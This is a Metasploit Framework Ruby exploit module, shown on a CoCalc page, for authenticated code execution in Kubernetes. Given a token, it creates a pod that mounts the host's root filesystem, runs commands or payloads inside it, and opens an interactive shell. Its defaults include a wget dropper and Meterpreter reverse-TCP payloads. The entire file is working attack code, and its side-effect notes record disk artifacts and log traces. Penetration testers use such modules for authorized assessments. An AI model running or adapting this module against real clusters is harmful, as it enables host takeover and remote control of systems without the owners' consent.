CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/kubernetes/exec.rb
Views: 11784
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Exploit
9
Rank = ManualRanking
10
11
include Msf::Exploit::Retry
12
include Msf::Exploit::Remote::HttpClient
13
include Msf::Exploit::CmdStager
14
include Msf::Exploit::Remote::HTTP::Kubernetes
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Kubernetes authenticated code execution',
21
'Description' => %q{
22
Execute a payload within a Kubernetes pod.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'alanfoster',
27
'Spencer McIntyre'
28
],
29
'References' => [
30
],
31
'Notes' => {
32
'SideEffects' => [
33
ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk
34
CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created
35
IOC_IN_LOGS # a log event is generated if a new pod is created
36
],
37
'Reliability' => [ REPEATABLE_SESSION ],
38
'Stability' => [ CRASH_SAFE ]
39
},
40
'DefaultOptions' => {
41
'SSL' => true
42
},
43
'Targets' => [
44
[
45
'Interactive WebSocket',
46
{
47
'Arch' => ARCH_CMD,
48
'Platform' => 'unix',
49
'Type' => :nix_stream,
50
'DefaultOptions' => {
51
'PAYLOAD' => 'cmd/unix/interact'
52
},
53
'Payload' => {
54
'Compat' => {
55
'PayloadType' => 'cmd_interact',
56
'ConnectionType' => 'find'
57
}
58
}
59
}
60
],
61
[
62
'Unix Command',
63
{
64
'Arch' => ARCH_CMD,
65
'Platform' => 'unix',
66
'Type' => :nix_cmd
67
}
68
],
69
[
70
'Linux Dropper',
71
{
72
'Arch' => [ARCH_X86, ARCH_X64],
73
'Platform' => 'linux',
74
'Type' => :nix_dropper,
75
'DefaultOptions' => {
76
'CMDSTAGER::FLAVOR' => 'wget',
77
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
78
}
79
}
80
],
81
[
82
'Python',
83
{
84
'Arch' => [ARCH_PYTHON],
85
'Platform' => 'python',
86
'Type' => :python,
87
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
88
}
89
]
90
],
91
'DisclosureDate' => '2021-10-01',
92
'DefaultTarget' => 0,
93
'Platform' => [ 'linux', 'unix' ],
94
'SessionTypes' => [ 'meterpreter' ]
95
)
96
)
97
98
register_options(
99
[
100
Opt::RHOSTS(nil, false),
101
Opt::RPORT(nil, false),
102
Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]),
103
OptString.new('TOKEN', [ false, 'The JWT token' ]),
104
OptString.new('POD', [ false, 'The pod name to execute in' ]),
105
OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]),
106
OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]),
107
]
108
)
109
110
register_advanced_options(
111
[
112
OptString.new('PodImage', [ false, 'The image from which to create the pod' ]),
113
OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]),
114
]
115
)
116
end
117
118
def pod_name
119
@pod_name || datastore['POD']
120
end
121
122
def create_pod
123
if datastore['PodImage'].blank?
124
image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq
125
fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?
126
else
127
image_names = [ datastore['PodImage'] ]
128
end
129
130
ready = false
131
image_names.each do |image_name|
132
print_status("Using image: #{image_name}")
133
134
random_identifiers = Rex::RandomIdentifier::Generator.new({
135
first_char_set: Rex::Text::LowerAlpha,
136
char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals
137
})
138
new_pod_definition = {
139
apiVersion: 'v1',
140
kind: 'Pod',
141
metadata: {
142
name: random_identifiers[:pod_name],
143
labels: {}
144
},
145
spec: {
146
containers: [
147
{
148
name: random_identifiers[:container_name],
149
image: image_name,
150
command: ['/bin/sh', '-c', 'exec tail -f /dev/null'],
151
volumeMounts: [
152
{
153
mountPath: '/host_mnt',
154
name: random_identifiers[:volume_name]
155
}
156
]
157
}
158
],
159
volumes: [
160
{
161
name: random_identifiers[:volume_name],
162
hostPath: {
163
path: '/'
164
}
165
}
166
]
167
}
168
}
169
new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata]
170
171
@pod_name = random_identifiers[:pod_name]
172
print_good("Pod created: #{pod_name}")
173
174
print_status('Waiting for the pod to be ready...')
175
ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do
176
pod = @kubernetes_client.get_pod(pod_name, namespace)
177
pod_status = pod[:status]
178
next if pod_status == 'Failure'
179
180
container_statuses = pod_status[:containerStatuses]
181
next unless container_statuses
182
183
ready = container_statuses.any? { |status| status[:ready] }
184
ready
185
rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e
186
elog(e)
187
false
188
end
189
190
if ready
191
report_note(
192
type: 'kubernetes.pod',
193
host: rhost,
194
port: rport,
195
data: {
196
pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp),
197
imageName: image_name
198
},
199
update: :unique_data
200
)
201
202
break
203
end
204
205
print_error('The pod failed to start within the expected timeframe')
206
207
begin
208
@kubernetes_client.delete_pod(@pod_name, namespace)
209
rescue StandardError
210
print_error('Failed to delete the pod')
211
end
212
end
213
214
fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
215
end
216
217
def exploit
218
if session
219
print_status("Routing traffic through session: #{session.sid}")
220
configure_via_session
221
end
222
223
validate_configuration!
224
225
@kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token })
226
227
create_pod if pod_name.blank?
228
229
case target['Type']
230
when :nix_stream
231
# Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
232
websocket = @kubernetes_client.exec_pod(
233
pod_name,
234
datastore['Namespace'],
235
datastore['Shell'],
236
'stdin' => true,
237
'stdout' => true,
238
'stderr' => true,
239
'tty' => false
240
)
241
242
print_good('Successfully established the WebSocket')
243
channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket)
244
handler(channel.lsock)
245
when :nix_cmd
246
execute_command(payload.encoded)
247
when :nix_dropper
248
execute_cmdstager
249
else
250
execute_command(payload.encoded)
251
end
252
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
253
res = e.http_response
254
fail_with(Failure::Unreachable, e.message) if res.nil?
255
fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403
256
fail_with(Failure::Unknown, e.message)
257
else
258
report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')
259
end
260
261
def execute_command(cmd, _opts = {})
262
case target['Platform']
263
when 'python'
264
command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
265
else
266
command = [datastore['Shell'], '-c', cmd]
267
end
268
269
result = @kubernetes_client.exec_pod_capture(
270
pod_name,
271
datastore['Namespace'],
272
command,
273
'stdin' => false,
274
'stdout' => true,
275
'stderr' => true,
276
'tty' => false
277
) do |stdout, stderr|
278
print_line(stdout.strip) unless stdout.blank?
279
print_line(stderr.strip) unless stderr.blank?
280
end
281
282
fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?
283
284
status = result&.dig(:error, 'status')
285
fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
286
end
287
end
288
289